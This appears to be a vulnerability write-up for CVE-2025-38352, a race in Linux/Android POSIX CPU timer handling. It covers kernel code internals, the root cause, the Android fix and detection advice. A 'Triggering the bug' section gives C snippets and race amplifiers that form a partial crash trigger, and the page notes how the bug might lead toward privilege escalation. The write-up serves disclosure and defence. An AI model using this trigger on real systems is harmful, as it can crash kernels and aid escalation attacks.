POSIX CPU Timers TOCTOU race (CVE-2025-38352)

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This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.

• Affected component: kernel/time/posix-cpu-timers.c
• Primitive: expiry vs deletion race under task exit
• Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Quick internals recap (relevant for exploitation)

• Three CPU clocks drive accounting for timers via cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
• Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
    struct pid *pid;
    rcu_read_lock();
    pid = pid_for_clock(new_timer->it_clock, false);
    if (!pid) { rcu_read_unlock(); return -EINVAL; }
    new_timer->kclock = &clock_posix_cpu;
    timerqueue_init(&new_timer->it.cpu.node);
    new_timer->it.cpu.pid = get_pid(pid);
    rcu_read_unlock();
    return 0;
}

• Arming inserts into a per-base timerqueue and may update the next-expiry cache:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
    struct posix_cputimer_base *base = timer_base(timer, p);
    struct cpu_timer *ctmr = &timer->it.cpu;
    u64 newexp = cpu_timer_getexpires(ctmr);
    if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
    if (newexp < base->nextevt) base->nextevt = newexp;
}

• Fast path avoids expensive processing unless cached expiries indicate possible firing:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
    struct posix_cputimers *pct = &tsk->posix_cputimers;
    if (!expiry_cache_is_inactive(pct)) {
        u64 samples[CPUCLOCK_MAX];
        task_sample_cputime(tsk, samples);
        if (task_cputimers_expired(samples, pct))
            return true;
    }
    return false;
}

• Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
                              struct list_head *firing, u64 now) {
    struct timerqueue_node *next; int i = 0;
    while ((next = timerqueue_getnext(head))) {
        struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
        u64 expires = cpu_timer_getexpires(ctmr);
        if (++i == MAX_COLLECTED || now < expires) return expires;
        ctmr->firing = 1;                           // critical state
        rcu_assign_pointer(ctmr->handling, current);
        cpu_timer_dequeue(ctmr);
        list_add_tail(&ctmr->elist, firing);
    }
    return U64_MAX;
}

Two expiry-processing modes

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context

void run_posix_cpu_timers(void) {
    struct task_struct *tsk = current;
    __run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
    if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
    tsk->posix_cputimers_work.scheduled = true;
    task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
    lockdep_posixtimer_enter();
    handle_posix_cpu_timers(tsk);                  // IRQ-context path
    lockdep_posixtimer_exit();
}
#endif

In the IRQ-context path, the firing list is processed outside sighand

static void handle_posix_cpu_timers(struct task_struct *tsk) {
    struct k_itimer *timer, *next; unsigned long flags, start;
    LIST_HEAD(firing);
    if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
    do {
        start = READ_ONCE(jiffies); barrier();
        check_thread_timers(tsk, &firing);
        check_process_timers(tsk, &firing);
    } while (!posix_cpu_timers_enable_work(tsk, start));
    unlock_task_sighand(tsk, &flags);              // race window opens here
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        int cpu_firing;
        spin_lock(&timer->it_lock);
        list_del_init(&timer->it.cpu.elist);
        cpu_firing = timer->it.cpu.firing;         // read then reset
        timer->it.cpu.firing = 0;
        if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
        rcu_assign_pointer(timer->it.cpu.handling, NULL);
        spin_unlock(&timer->it_lock);
    }
}

Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit Preconditions

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
• The target task is exiting but not fully reaped
• Another thread concurrently calls posix_cpu_timer_del() for the same timer

Sequence

1. update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2. collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3. handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4. Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5. In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.

Why TASK_WORK mode is safe by design

• With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
• Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.

Fix (Android common kernel) and rationale

• Add an early return if current task is exiting, gating all processing:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
    return;

• This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.

Impact

• Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.

Triggering the bug (safe, reproducible conditions) Build/config

• Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.

Runtime strategy

• Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
  • For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
  • For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
• Arm with a very short initial expiration and small interval to maximize IRQ-path entries:

static timer_t t;
static void setup_cpu_timer(void) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
    sev.sigev_signo = SIGUSR1;
    if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
    struct itimerspec its = {0};
    its.it_value.tv_nsec = 1;           // fire ASAP
    its.it_interval.tv_nsec = 1;        // re-fire
    if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

• From a sibling thread, concurrently delete the same timer while the target thread exits:

void *deleter(void *arg) {
    for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

• Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().

Detection and hardening

• Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
• Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.

Audit hotspots (for reviewers)

• update_process_times() → run_posix_cpu_timers() (IRQ)
• __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
• collect_timerqueue(): sets ctmr->firing and moves nodes
• handle_posix_cpu_timers(): drops sighand before firing loop
• posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Notes for exploitation research

• The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

References

• Race Against Time in the Kernel’s Clockwork (StreyPaws)
• Android security bulletin – September 2025
• Android common kernel patch commit 157f357d50b5…